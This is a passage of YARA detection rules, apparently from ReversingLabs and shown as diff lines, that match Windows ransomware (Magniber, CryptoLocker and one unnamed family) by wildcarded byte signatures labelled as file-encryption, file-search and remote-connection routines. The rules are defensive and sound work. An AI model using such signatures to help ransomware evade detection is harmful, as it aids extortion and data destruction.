E8 ?? ?? ?? ?? 83 C4 ?? 53 FF D0 6A ?? FF 75 ?? A3 ?? ?? ?? ?? FF 55 - ?? 6A ?? FF 75 ?? 8B F0 FF 55 ?? FF 75 ?? 89 45 ?? 53 E8 ?? ?? ?? ?? 8D 45 ?? 50 FF - } - $encrypt_files_4 = { - 35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 66 85 C0 75 ?? 33 C0 40 E9 ?? ?? ?? ?? 8B 3D - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 8B C8 8B 45 ?? 53 57 99 53 53 - 2B C2 68 ?? ?? ?? ?? D1 F8 2D ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B C6 99 2B C2 D1 F8 2D - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 53 FF D1 A3 ?? ?? ?? ?? E8 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 51 FF D0 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 - BE ?? ?? ?? ?? 85 C0 75 ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 53 68 ?? ?? ?? ?? 53 - 53 FF D0 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 53 68 ?? ?? ?? ?? 53 53 FF D0 39 1D ?? - ?? ?? ?? 75 ?? 6A ?? 58 EB ?? 6A ?? 59 33 C0 68 ?? ?? ?? ?? 89 5D ?? 8D 7D ?? 6A ?? - F3 AB E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 EB ?? 83 F8 ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? E8 - ?? ?? ?? ?? 59 59 8D 4D ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 8D 4D - ?? 51 FF D0 6A ?? 59 8D 75 ?? BF ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? - ?? 59 59 53 53 53 8D 4D ?? 51 FF D0 3B C3 75 ?? 8B 45 ?? 5F 5E 5B C9 C2 ?? ?? 6A ?? - E9 - } - $remote_connection_4 = { - 55 8B EC 51 51 53 56 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 33 F6 56 56 56 6A ?? - 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? 8B D8 E8 ?? ?? ?? ?? 59 59 56 56 6A ?? 56 - 56 6A ?? FF 75 ?? 53 FF D0 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 59 59 56 68 - ?? ?? ?? ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? FF D0 68 ?? ?? ?? - ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 59 59 56 56 56 56 FF 75 ?? FF D0 53 E8 ?? ?? ?? ?? - FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 5E 5B C9 C3 - } - $remote_connection_5 = { - 55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 33 FF 68 ?? ?? ?? ?? 47 57 E8 ?? ?? ?? ?? 59 59 - 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? BE ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 - FF D0 56 57 E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 56 57 E8 - ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? E8 - ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? 51 6A ?? FF D0 BE ?? ?? ?? ?? 85 C0 74 ?? 56 57 - E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 6A ?? 57 - 6A ?? FF D0 8B D8 85 DB 7D ?? 56 57 E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 68 ?? ?? ?? ?? - E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 59 6A ?? 8D 4D ?? - 51 FF D0 6A ?? 58 66 89 45 ?? 8B 46 ?? 8B 00 8B 00 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 66 - 89 45 ?? 6A ?? 8D 45 ?? 50 53 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 8D ?? ?? ?? ?? 51 FF D0 6A ?? 50 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 53 E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? FF D0 5F 5E 5B C9 C3 - } - - condition: - uint16( 0 ) == 0x5A4D and ( ( $encrypt_files_1 and $remote_connection_1 and $remote_connection_2 and $remote_connection_3 ) or ( $encrypt_files_2 and $encrypt_files_3 and $encrypt_files_4 and $remote_connection_4 and $remote_connection_5 ) ) -} -rule REVERSINGLABS_Win32_Ransomware_Magniber : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects Magniber ransomware." - author = "ReversingLabs" - id = "07b6c938-aa25-5ff6-95d2-9e0f84c41b41" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Magniber.yara#L1-L114" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "05b516f9b466489ea3a30e2fe5eb08290e85ece7a63e29e8bbbeb81c87d0a6f1" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Magniber" - tc_detection_factor = 5 - importance = 25 - - strings: - $remote_connection = { - E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 - ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF - 15 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 89 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? - 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? 6A - ?? 8D 45 ?? 50 8D 4D ?? 51 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 83 7D ?? ?? - 74 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? - ?? 8B 55 ?? 83 C2 ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D - ?? ?? 75 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 EB ?? - C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? - ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 - } - $encrypt_files_1 = { - 55 8B EC 83 EC ?? 56 C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? - ?? ?? ?? 89 45 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 8B 55 ?? 03 55 ?? 8D 44 12 - ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? C7 45 ?? ?? ?? ?? ?? EB - ?? 8B 4D ?? 83 C1 ?? 89 4D ?? 8B 55 ?? 3B 55 ?? 7D ?? 8B 45 ?? 8B 4D ?? 8B 55 ?? 8B - 75 ?? 66 8B 14 56 66 89 14 41 EB ?? B8 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 66 89 04 4A C7 - 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 8B 4D ?? 3B 4D ?? 7D ?? 8B 55 ?? - 03 55 ?? 8B 45 ?? 8B 4D ?? 8B 75 ?? 66 8B 0C 4E 66 89 4C 50 ?? EB ?? 8B 55 ?? 03 55 - ?? 33 C0 8B 4D ?? 66 89 44 51 ?? 8D 55 ?? 52 8D 45 ?? 50 8D 4D ?? 51 8B 55 ?? 52 8B - } - $encrypt_files_2 = { - 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 68 ?? - ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 - 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 - 75 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? - 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 - ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 66 0F 57 C0 66 0F 13 45 ?? 6A ?? 8D 4D ?? 51 6A ?? - 8B 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8B 45 ?? 99 8B 4D ?? - 2B 4D ?? 8B 75 ?? 1B 75 ?? 89 45 ?? 89 55 ?? 89 4D ?? 89 75 ?? 8B 55 ?? 3B 55 ?? 7C - ?? 7F ?? 8B 45 ?? 3B 45 ?? 76 ?? 8B 4D ?? 2B 4D ?? 8B 55 ?? 1B 55 ?? 89 4D ?? 89 55 - ?? EB ?? 8B 45 ?? 99 89 45 ?? 89 55 ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B - } - $encrypt_files_3 = { - 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 83 7D ?? - ?? 75 ?? E9 ?? ?? ?? ?? 8B 4D ?? 3B 4D ?? 73 ?? C7 45 ?? ?? ?? ?? ?? 8B 55 ?? 89 55 - ?? 8B 45 ?? 50 8D 4D ?? 51 6A ?? 6A ?? 8B 55 ?? 52 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? - ?? 89 45 ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 8D 55 ?? 52 8B 45 ?? 50 6A ?? 8B 4D ?? 51 - 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 - ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? EB ?? - E9 ?? ?? ?? ?? 8B 45 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? - 74 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? - 83 7D ?? ?? 74 ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8D 4D ?? 51 8B 55 ?? 52 FF 15 - ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 3B 45 ?? 7C ?? 7F ?? 8B 4D ?? 3B 4D ?? - 76 ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? - 8B 4D ?? 51 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? - 83 C4 ?? B8 ?? ?? ?? ?? EB - } - $search_files = { - C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 89 45 ?? 83 7D ?? ?? 7D ?? 8B 4D ?? 8B 94 - 8D ?? ?? ?? ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 33 C0 E9 ?? ?? ?? - ?? EB ?? 8B 4D ?? 8B 55 ?? 8B 81 ?? ?? ?? ?? 3B 82 ?? ?? ?? ?? 76 ?? B8 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? B8 ?? - ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? ?? ?? - 83 C4 ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 83 C0 ?? 50 - FF 15 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 FF 15 ?? ?? ?? ?? - 85 C0 75 ?? EB ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 83 C1 - ?? 51 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 85 C0 74 ?? 8B 4D ?? 81 79 ?? ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? - ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 8B 4D ?? - 81 79 ?? ?? ?? ?? ?? 75 ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? - ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 03 45 ?? 89 - 45 ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B 55 ?? - 81 C2 ?? ?? ?? ?? 52 8B 45 ?? 05 ?? ?? ?? ?? 50 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B 55 - ?? 81 C2 ?? ?? ?? ?? 52 8B 45 ?? 05 ?? ?? ?? ?? 50 8B 4D ?? 81 C1 ?? ?? ?? ?? 51 8B - 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 50 E8 - } - - condition: - uint16( 0 ) == 0x5A4D and ( $search_files and ( all of ( $encrypt_files_* ) ) and $remote_connection ) -} - -rule REVERSINGLABS_Win32_Ransomware_Cryptolocker : TC_DETECTION MALICIOUS MALWARE FILE -{ - meta: - description = "Yara rule that detects CryptoLocker ransomware." - author = "ReversingLabs" - id = "8cc3ac4b-9179-5e2c-97e1-65304f9dfe22" - date = "2020-06-26" - modified = "2020-07-15" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoLocker.yara#L3-L154" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "08430b0c5689840d592bdda5dbc2ed06e0d0fa1e2c0f19aff4316580c6a0b23d" - score = 75 - quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "CryptoLocker" - tc_detection_factor = 5 - importance = 25 - - strings: - $file_loop_1 = { - 55 8B EC 83 EC ?? 53 56 8B D9 57 89 5D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 32 C9 83 7D ?? ?? 88 4D ?? 0F 86 45 01 - 00 00 8B 5D ?? 0F 57 C0 66 0F 13 45 ?? 84 C9 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 75 ?? - 6A ?? 8B 49 ?? 6A ?? 52 56 8B 01 6A ?? 89 55 ?? 8B 00 FF D0 84 C0 0F 84 E6 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 33 D2 89 - 45 ?? 8B D8 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73 - 0F 8B 45 ?? 8D 0C 13 8B 40 ?? 88 0C 02 42 EB CC 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 6B 85 DB 77 0E 72 08 81 FF ?? ?? ?? - ?? 73 04 8B F7 EB 05 BE ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF 30 FF 15 ?? ?? ?? ?? 85 C0 74 ?? - 39 75 ?? 75 ?? 8B 45 ?? 2B FE 8B 55 ?? 83 DB ?? 2B D7 8B 48 ?? 8B 45 ?? 1B C3 50 8B 31 52 FF 75 ?? FF 75 ?? 8B 06 6A ?? - FF D0 84 C0 74 34 85 DB 77 AD 72 04 85 FF 75 95 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 4D ?? FE C1 0F B6 C1 88 4D ?? 3B 45 - ?? 0F 82 C6 FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2 - } - $file_loop_2 = { - 55 8B EC 83 EC ?? 53 56 8B D9 57 89 5D ?? E8 ?? ?? ?? ?? 84 C0 0F 84 ?? ?? ?? ?? 32 C9 83 7D ?? ?? 88 4D ?? 0F 86 50 01 - 00 00 8B 5D ?? 0F 57 C0 66 0F 13 45 ?? 84 C9 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ?? - ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 8B 55 ?? 8B 49 ?? - 8B 75 ?? 8B 01 6A ?? 8B 00 6A ?? 52 56 6A ?? 89 55 ?? FF D0 84 C0 0F 84 F1 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 89 45 ?? - 33 D2 8B D8 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73 - 10 8B 45 ?? 8D 0C 13 8B 40 ?? 42 88 4C 02 ?? EB CB 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 75 85 DB 77 11 72 08 81 FF ?? ?? - ?? ?? 73 07 8B F7 89 5D ?? EB 0C BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF - 30 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 39 75 ?? 75 ?? 8B 45 ?? 8B 55 ?? 8B 48 ?? 8B 45 ?? 2B FE 8B 31 83 DB ?? 2B D7 1B C3 50 - 8B 06 52 FF 75 ?? FF 75 ?? 6A ?? FF D0 84 C0 74 34 85 DB 77 A6 72 04 85 FF 75 8B 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 4D - ?? FE C1 0F B6 C1 88 4D ?? 3B 45 ?? 0F 82 BB FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2 - } - $file_loop_3 = { - 55 8B EC 83 EC ?? 53 56 8B C1 57 89 45 ?? E8 ?? ?? ?? ?? 84 C0 0F 84 62 01 00 00 8B 5D ?? 32 C0 0F 57 C0 88 45 ?? 66 0F - 13 45 ?? EB 03 8D 49 ?? 84 C0 74 08 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 75 ?? FF 33 FF 15 ?? ?? ?? ?? 85 C0 - 0F 84 27 01 00 00 8D 45 ?? 50 FF 33 FF 15 ?? ?? ?? ?? 85 C0 0F 84 13 01 00 00 8B 4D ?? 8B 55 ?? 8B 49 ?? 8B 75 ?? 8B 01 - 6A ?? 8B 00 6A ?? 52 56 6A ?? 89 55 ?? FF D0 84 C0 0F 84 EE 00 00 00 FF 15 ?? ?? ?? ?? 8B 7D ?? 89 45 ?? 33 D2 8B D8 90 - 85 FF 72 18 77 08 81 FE ?? ?? ?? ?? 76 0E B8 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? EB 05 8B C6 89 7D ?? 3B D0 73 10 8B 45 ?? - 8D 0C 13 8B 40 ?? 42 88 4C 02 ?? EB CB 8B 5D ?? 85 FF 8B FE 75 04 85 F6 74 75 85 DB 77 11 72 08 81 FF ?? ?? ?? ?? 73 07 - 8B F7 89 5D ?? EB 0C BE ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8B 45 ?? 56 FF 70 ?? 8B 45 ?? FF 30 FF 15 ?? - ?? ?? ?? 85 C0 74 5E 39 75 ?? 75 59 8B 45 ?? 8B 55 ?? 8B 48 ?? 8B 45 ?? 2B FE 8B 31 83 DB ?? 2B D7 1B C3 50 8B 06 52 FF - 75 ?? FF 75 ?? 6A ?? FF D0 84 C0 74 30 85 DB 77 A6 72 04 85 FF 75 8B 8B 5D ?? FF 33 FF 15 ?? ?? ?? ?? 8A 45 ?? FE C0 88 - 45 ?? 3C ?? 0F 82 BE FE FF FF B0 ?? 5F 5E 5B 8B E5 5D C2 - } - $encrypt_data_1 = { - 55 8B EC 56 8B 75 ?? 57 8B F9 39 75 ?? 73 09 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 07 53 85 C0 74 58 48 83 F8 ?? 77 48 8B 5D ?? - 8B 45 ?? 3B D8 74 0B 56 50 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? 89 75 ?? 50 8B 45 ?? 53 6A ?? 0F B6 C0 50 6A ?? - FF 77 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5B 0F 44 CA 5F 8B C1 5E 5D C2 ?? ?? 5B 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B - 47 ?? 33 D2 89 45 ?? 8B 47 ?? 85 F6 74 26 8B 7D ?? 8B DE 8B 4D ?? 8B F0 2B F9 8A 04 0F 8D 49 ?? 32 04 32 88 41 ?? 8D 42 - ?? 33 D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5B 5F 8B C6 5E 5D C2 - } - $encrypt_data_2 = { - 55 8B EC 56 8B 75 ?? 57 8B F9 39 75 ?? 73 09 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 07 53 85 C0 74 56 48 83 F8 ?? 77 46 8B 5D ?? - 8B 45 ?? 3B D8 74 0B 56 50 53 E8 ?? ?? ?? ?? 83 C4 ?? FF 75 ?? 8D 45 ?? 50 0F B6 45 ?? 53 6A ?? 50 6A ?? FF 77 ?? 89 75 - ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5B 0F 44 CA 5F 8B C1 5E 5D C2 ?? ?? 5B 5F 83 C8 ?? 5E 5D C2 ?? ?? 8B 47 ?? - 33 D2 89 45 ?? 8B 47 ?? 85 F6 74 26 8B 4D ?? 8B 7D ?? 8B DE 2B F9 8B F0 8A 04 0F 32 04 32 8D 49 ?? 88 41 ?? 8D 42 ?? 33 - D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5B 5F 8B C6 5E 5D C2 - } - $encrypt_data_3 = { - 55 8B EC 53 56 8B 75 ?? 8B D9 39 75 ?? 72 4C 83 3B ?? 77 47 8B 45 ?? 57 8B 7D ?? 3B F8 74 0B 56 50 57 E8 ?? ?? ?? ?? 83 - C4 ?? FF 75 ?? 8D 45 ?? 50 0F B6 45 ?? 57 6A ?? 50 6A ?? FF 73 ?? 89 75 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? 83 CA ?? 85 C0 5F - 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 5E 83 C8 ?? 5B 5D C2 - } - $decrypt_data_1 = { - 55 8B EC 53 56 57 8B F9 8B 07 85 C0 74 53 48 83 F8 ?? 77 55 8B 75 ?? 39 75 ?? 72 4D 8B 5D ?? 8B 45 ?? 3B D8 74 0B 56 50 - 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 89 75 ?? 50 8B 45 ?? 53 6A ?? 0F B6 C0 50 6A ?? FF 77 ?? FF 15 ?? ?? ?? ?? 8B 4D ?? - 83 CA ?? 85 C0 5F 0F 44 CA 5E 8B C1 5B 5D C2 ?? ?? 8B 75 ?? 39 75 ?? 73 0A 5F 5E 83 C8 ?? 5B 5D C2 ?? ?? 8B 47 ?? 33 D2 - 89 45 ?? 8B 47 ?? 85 F6 74 28 8B 7D ?? 8B DE 8B 4D ?? 8B F0 2B F9 8B FF 8A 04 0F 8D 49 ?? 32 04 32 88 41 ?? 8D 42 ?? 33 - D2 F7 75 ?? 4B 75 E9 8B 75 ?? 5F 8B C6 5E 5B 5D C2 - } - $decrypt_data_2 = { - 55 8B EC 53 56 57 8B F9 8B 07 85 C0 74 51 48 83 F8 ?? 77 53 8B 75 ?? 39 75 ?? 72 4B 8B 5D ?? 8B 45 ?? 3B D8 74 0B 56 50 - 53 E8 ?? ?? ?? ?? 83 C4 ?? 8D 45 ?? 50 0F B6 45 ?? 53 6A ?? 50 6A ?? FF 77 ?? 89 75 ?? FF 